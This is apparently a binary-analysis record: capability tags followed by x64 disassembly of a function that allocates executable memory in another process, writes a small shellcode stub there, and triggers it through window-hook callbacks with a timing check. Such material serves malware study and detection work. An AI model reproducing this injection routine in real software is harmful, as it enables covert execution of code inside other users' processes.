Function at 0x14000f3d0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc8
mov rax, qword [0x140036180]
xor rax, rsp
mov qword [rbp - 1], rax
mov rax, qword [rbp + 0x7f]
mov rbx, r9
mov r15, r8
mov qword [rbp - 0x69], rax
mov rdi, rdx
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x100
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x14000f438
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
jmp 0x14000f516
lea r8, str.CallNextHookEx
mov rcx, rsi
lea rdx, str.user32.dll
call fcn.14000ee80
test rax, rax
je 0x14000f501
mov r9d, 0x57
mov dword [rbp - 0x49], 0x48535455
lea r8, [rbp - 0x61]
mov dword [rbp - 0x45], 0xffde1d8d
mov rdx, r14
mov dword [rbp - 0x41], 0x8348ffff
mov rcx, rsi
mov dword [rbp - 0x3d], 0x8b4d20ec
mov dword [rbp - 0x39], 0xc28b4cc8
mov dword [rbp - 0x35], 0xffd18b48
mov dword [rbp - 0x31], 0x83481053
mov dword [rbp - 0x2d], 0x8b4820c4
mov dword [rbp - 0x29], 0xc600ebc8
mov dword [rbp - 0x25], 0xfffff805
mov dword [rbp - 0x21], 0x874818ff
mov dword [rbp - 0x1d], 0xec83480b
mov dword [rbp - 0x19], 0x853ff20
mov dword [rbp - 0x15], 0x20c48348
mov dword [rbp - 0x11], 0x5b038748
mov word [rbp - 0xd], 0x5d5c
mov byte [rbp - 0xb], 0xc3
mov qword [rbp - 0x61], r15
mov qword [rbp - 0x59], rdi
mov qword [rbp - 0x51], rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000f534
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.140027740
add rsp, 0xc8
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, dword [0x140036b58]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x140036ab0], ecx
jg 0x14000f717
lea rcx, [0x140036a80]
call fcn.140011c60
lea rax, [r14 + 0x18]
mov rcx, rsi
mov qword [0x140036aa0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, str.user32.dll
mov dword [0x140036a98], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140036a80]
mov qword [0x140036aa8], rax
lea rcx, [0x140001160]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
je 0x14000f4f9
lea rcx, [0x140036a80]
call fcn.140012d80
test al, al
jne 0x14000f501
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0xb8], r13
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rcx, [0x140036a80]
mov r13, rax
call fcn.140011430
lea rcx, [0x140036a80]
mov r15, rax
call fcn.140011460
mov r12, rax
cmp r15, rax
je 0x14000f66b
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [r15 + 8]
mov rdi, qword [r15]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetForegroundWindow]
xor r9d, r9d
mov edx, 0x100
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageA]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov edx, 0x101
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageA]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
add r15, 0x10
cmp r15, r12
jne 0x14000f610
mov rcx, r13
call qword [sym.imp.USER32.dll_SetForegroundWindow]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r13, qword [rsp + 0xb8]
xor r15d, r15d
mov r12, qword [rsp + 0xc0]
mov ebx, eax
mov byte [rbp - 0x71], 0
nop dword [rax]
nop word [rax + rax]
mov r9d, 1
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x71]
mov rcx, rsi
lea rdx, [r14 + 0x3a]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1388
ja 0x14000f516
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rbp - 0x71], r15b
je 0x14000f6a0
mov r8, qword [rbp - 0x69]
mov r9d, 8
mov rdx, r14
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x14000f518
lea rcx, [0x140036ab0]
call fcn.140027a58
cmp dword [0x140036ab0], 0xffffffff
jne 0x14000f55b
lea rcx, [0x14002a090]
call fcn.1400279d4
lea rcx, [0x140036ab0]
call fcn.1400279ec
jmp 0x14000f55b